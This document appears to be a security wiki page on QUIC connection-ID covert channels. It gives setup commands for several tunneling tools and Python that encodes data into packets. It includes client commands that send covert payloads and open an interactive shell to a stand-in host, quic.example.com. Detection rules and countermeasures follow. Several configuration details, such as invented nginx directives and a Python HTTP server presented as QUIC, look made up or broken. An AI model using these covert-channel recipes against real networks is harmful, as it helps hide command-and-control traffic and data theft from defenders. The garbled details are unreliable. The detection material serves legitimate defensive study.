quic connection id tunneling

published: August 12, 2025
on this page

quic protocol covert channels exploit connection id manipulation, packet structure metadata, and stream multiplexing capabilities for high-stealth data transmission.

technical description

quic (quick udp internet connections) provides encrypted, multiplexed transport over udp. connection ids (up to 20 bytes) identify connections and can carry covert data while maintaining protocol compliance.

the technique works by:

  1. encoding data in connection id fields during handshake
  2. manipulating packet metadata and stream properties
  3. exploiting version negotiation and migration features
  4. using legitimate quic traffic for cover

implementation: quicc

overview

quicc (https://github.com/nuvious/quicc) demonstrates connection id field exploitation:

  • supports 4096-bit rsa encryption
  • connection id capacity: up to 20 bytes per packet
  • performance: comparable latency to tcp (59.5ms vs 59.8ms)
  • maintains quic protocol compliance

installation

# clone repository
git clone https://github.com/nuvious/quicc.git
cd quicc

# install dependencies
pip install -r requirements.txt

# build native components
make build

server setup

# generate server keys
openssl genrsa -out server.key 4096
openssl rsa -in server.key -pubout -out server.pub

# start quic covert server
python quicc_server.py --host 0.0.0.0 --port 4433 \
  --cert server.crt --key server.key \
  --covert-key covert.key

server configuration:

# quicc_server.py configuration
QUIC_CONFIG = {
    'connection_id_length': 20,  # maximum size
    'initial_max_streams': 100,
    'max_connection_id_per_connection': 8,
    'covert_encoding': 'base64',
    'encryption_key': load_key('covert.key')
}

client connection

# establish covert channel
python quicc_client.py --server quic.example.com:4433 \
  --message "covert data payload" \
  --key covert.key \
  --encoding base64

# interactive shell mode
python quicc_client.py --server quic.example.com:4433 \
  --interactive --key covert.key

data encoding

# connection id encoding
import struct
import base64

def encode_connection_id(data, max_length=20):
    """encode data into quic connection id"""
    if len(data) > max_length:
        raise ValueError("data exceeds connection id limit")

    # pad to fixed length for consistency
    padded_data = data.ljust(max_length, b'\x00')
    return padded_data

def create_covert_packet(payload):
    """create quic packet with covert connection id"""
    encoded_data = base64.b64encode(payload)[:20]

    # quic long header format
    header = bytearray([
        0x80 | 0x40,  # long header, initial packet
        0x00, 0x00, 0x00, 0x01,  # version
        len(encoded_data),  # dcid length
    ])

    header.extend(encoded_data)  # destination connection id
    header.extend([0])  # scid length (empty)

    return bytes(header)

# example usage
covert_payload = b"secret message"
packet = create_covert_packet(covert_payload)

implementation: quictun

overview

quictun (https://github.com/julienschmidt/quictun) provides alternative implementation:

  • focuses on stream multiplexing exploitation
  • supports multiple concurrent channels
  • implements custom stream prioritization

setup

# build from source
git clone https://github.com/julienschmidt/quictun.git
cd quictun
go build -o quictun cmd/main.go

# server mode
./quictun server -addr :4433 -cert cert.pem -key key.pem

# client mode
./quictun client -addr server.example.com:4433 \
  -local-addr :8080 -remote-addr target:80

configuration

# quictun.yaml
server:
  bind_addr: ':4433'
  cert_file: 'server.crt'
  key_file: 'server.key'
  covert_streams: 8
  max_payload_size: 1350

client:
  server_addr: 'server.example.com:4433'
  local_proxy: ':8080'
  stream_multiplex: true
  connection_migration: true

implementation: quincy vpn

overview

quincy (https://github.com/m0dex/quincy) provides quic-based vpn:

  • post-quantum cryptography support
  • full tunnel mode
  • traffic shaping capabilities

installation

# install rust toolchain
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh

# build quincy
git clone https://github.com/m0dex/quincy.git
cd quincy
cargo build --release

# install binary
sudo cp target/release/quincy /usr/local/bin/

vpn setup

# server configuration
sudo quincy server --config server.toml

# client connection
sudo quincy client --config client.toml \
  --server quic://vpn.example.com:4433
# server.toml
[server]
bind = "0.0.0.0:4433"
cert = "/etc/quincy/cert.pem"
key = "/etc/quincy/key.pem"

[tunnel]
mode = "tun"
mtu = 1350
subnet = "10.0.0.0/24"

[crypto]
post_quantum = true
kyber_level = 3

traffic characteristics

quic packet analysis

# packet dissection with scapy
from scapy.all import *

class QUICPacket(Packet):
    name = "QUIC"
    fields_desc = [
        BitField("header_form", 1, 1),
        BitField("fixed_bit", 1, 1),
        BitField("packet_type", 0, 2),
        BitField("reserved", 0, 2),
        BitField("packet_number_length", 0, 2),
        IntField("version", 0),
        FieldLenField("dcid_len", None, length_of="dcid", fmt="B"),
        StrLenField("dcid", "", length_from=lambda pkt: pkt.dcid_len),
        FieldLenField("scid_len", None, length_of="scid", fmt="B"),
        StrLenField("scid", "", length_from=lambda pkt: pkt.scid_len)
    ]

def analyze_quic_covert_channel(pcap_file):
    packets = rdpcap(pcap_file)

    connection_ids = []
    for p in packets:
        if p.haslayer(UDP) and p[UDP].dport in [443, 4433]:
            payload = bytes(p[UDP].payload)

            # check for quic long header
            if len(payload) > 6 and (payload[0] & 0x80):
                dcid_len = payload[5] if len(payload) > 5 else 0
                if dcid_len > 0 and dcid_len <= 20:
                    dcid = payload[6:6+dcid_len]
                    connection_ids.append(dcid)

    # analyze connection id entropy
    import math
    from collections import Counter

    for cid in connection_ids:
        if len(cid) > 0:
            entropy = calculate_entropy(cid)
            if entropy > 6.0:  # high entropy suggests encoding
                print(f"suspicious connection id: {cid.hex()}")

def calculate_entropy(data):
    counts = Counter(data)
    probs = [count/len(data) for count in counts.values()]
    return -sum(p * math.log2(p) for p in probs if p > 0)

analyze_quic_covert_channel('quic_traffic.pcap')

connection migration patterns

# detect suspicious quic migration
def analyze_connection_migration(flows):
    """analyze quic connection migration for covert channels"""

    migration_patterns = {}

    for flow in flows:
        conn_id = flow.get('connection_id')
        if not conn_id:
            continue

        src_ip = flow['src_ip']

        if conn_id not in migration_patterns:
            migration_patterns[conn_id] = []

        migration_patterns[conn_id].append({
            'timestamp': flow['timestamp'],
            'src_ip': src_ip,
            'bytes': flow['bytes']
        })

    # detect suspicious migration frequency
    for conn_id, migrations in migration_patterns.items():
        if len(set(m['src_ip'] for m in migrations)) > 5:  # many ips
            print(f"suspicious migration pattern: {conn_id}")

detection methods

traffic indicators

  • unusual connection id lengths (consistently 20 bytes)
  • high entropy in connection id values
  • frequent connection migration without network changes
  • quic traffic to non-standard ports
  • connection ids with embedded patterns

detection rules

# suricata rules for quic covert channels
alert udp any any -> any 443 (
    msg:"QUIC suspicious connection ID pattern";
    content:"|80|"; offset:0; depth:1;
    byte_test:1,>,15,5;  # dcid length > 15
    threshold: type limit, track by_src, seconds 60, count 20;
    sid:1000020;
)

alert udp any any -> any any (
    msg:"QUIC connection migration anomaly";
    flow:established;
    threshold: type limit, track by_dst, seconds 300, count 10;
    sid:1000021;
)

statistical analysis

# quic covert channel detection
import numpy as np
from scipy import stats

def detect_quic_covert_channel(connection_ids):
    """statistical detection of covert quic channels"""

    if len(connection_ids) < 10:
        return False

    # analyze length distribution
    lengths = [len(cid) for cid in connection_ids]

    # legitimate quic connection ids vary in length
    # covert channels often use fixed length
    length_entropy = stats.entropy(np.bincount(lengths))

    if length_entropy < 0.5:  # low entropy = fixed length
        print("warning: consistent connection id lengths detected")

        # analyze byte entropy for each position
        max_len = max(lengths)
        position_entropies = []

        for pos in range(max_len):
            bytes_at_pos = []
            for cid in connection_ids:
                if len(cid) > pos:
                    bytes_at_pos.append(cid[pos])

            if bytes_at_pos:
                pos_entropy = stats.entropy(np.bincount(bytes_at_pos))
                position_entropies.append(pos_entropy)

        avg_entropy = np.mean(position_entropies)
        if avg_entropy > 6.0:  # high entropy suggests encoding
            return True

    return False

# example usage
cids = [b'random_connection_id_1', b'random_connection_id_2']
is_covert = detect_quic_covert_channel(cids)

countermeasures

network level

# restrict quic to standard ports
iptables -A FORWARD -p udp ! --dport 443 -m string --hex-string "|80|" -j DROP

# limit connection migration frequency
iptables -A FORWARD -p udp --dport 443 -m recent --name quic_migration \
  --update --seconds 60 --hitcount 5 -j DROP

quic server configuration

# nginx quic module restrictions
quic_connection_id_length 8;  # limit to 8 bytes
quic_migration_rate_limit 5/m;  # 5 migrations per minute
quic_connection_timeout 30s;

monitoring

# monitor quic connection patterns
tshark -r traffic.pcap -Y "quic" \
  -T fields -e quic.dcid -e frame.time_epoch \
  | sort | uniq -c | sort -nr

# analyze connection id entropy
python3 -c "
import sys
from collections import Counter
import math

for line in sys.stdin:
    cid = line.strip()
    if cid:
        entropy = -sum(p * math.log2(p) for p in
                      [c/len(cid) for c in Counter(cid).values()])
        print(f'{cid}: entropy={entropy:.2f}')
"

advantages and limitations

advantages

  • modern protocol with legitimate traffic cover
  • strong encryption (tls 1.3)
  • connection migration provides flexibility
  • multiple streams per connection
  • minimal latency overhead
  • nat traversal capabilities

limitations

  • requires quic server infrastructure
  • connection ids limited to 20 bytes
  • detection possible through entropy analysis
  • newer protocol with limited deployment
  • some networks block non-443 quic traffic

performance metrics

bandwidth and latency

metricquiccquictunquincylegitimate quic
latency59.5ms45-60ms40-55ms59.8ms
throughput80-90%85-95%90-95%100%
overhead10-20%5-15%5-10%baseline
stealthmediumhighhighn/a

connection establishment

# measure quic handshake time
curl -w "@curl-format.txt" --http3 https://quic.example.com/

# format file (curl-format.txt):
# time_namelookup: %{time_namelookup}s
# time_connect: %{time_connect}s
# time_appconnect: %{time_appconnect}s
# time_pretransfer: %{time_pretransfer}s

# typical quic handshake: 100-200ms (1-rtt)

browser support

chrome implementation

// detect quic support
if ('chrome' in window && chrome.loadTimes) {
  const loadTimes = chrome.loadTimes();
  if (loadTimes.connectionInfo.includes('quic')) {
    console.log('quic connection active');
  }
}

// force quic in chrome
// chrome --enable-quic --quic-version=h3-29

firefox configuration

// about:config settings
network.http.http3.enabled = true
network.http.http3.alt-svc-mapping-for-testing = "quic.example.com:443;h3=\":443\""

real-world applications

legitimate usage

  • google services: youtube, gmail, search
  • cloudflare: cdn and security services
  • facebook: social media platform
  • microsoft: office 365, teams

covert channel research

  • academic studies: protocol steganography
  • penetration testing: bypass egress filtering
  • red team operations: c2 communication

testing environment

local setup

# create test certificates
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

# start quic test server
python3 -m http.server --bind localhost 4433 --directory /tmp

# test with curl
curl --http3-only -k https://localhost:4433/

docker environment

# dockerfile for quic testing
FROM golang:1.19-alpine

RUN apk add --no-cache git openssl

WORKDIR /app
COPY . .

RUN go mod download
RUN go build -o quic-server ./cmd/server
RUN go build -o quic-client ./cmd/client

EXPOSE 4433/udp

CMD ["./quic-server", "-addr", ":4433"]
# build and run
docker build -t quic-covert .
docker run -p 4433:4433/udp quic-covert

references

  • rfc 9000: quic - a udp-based multiplexed and secure transport
  • rfc 9001: using tls to secure quic
  • rfc 9002: quic loss detection and congestion control
  • “quic protocol analysis” - ietf transport area working group
  • “covert channels in quic” - academic research papers
on this page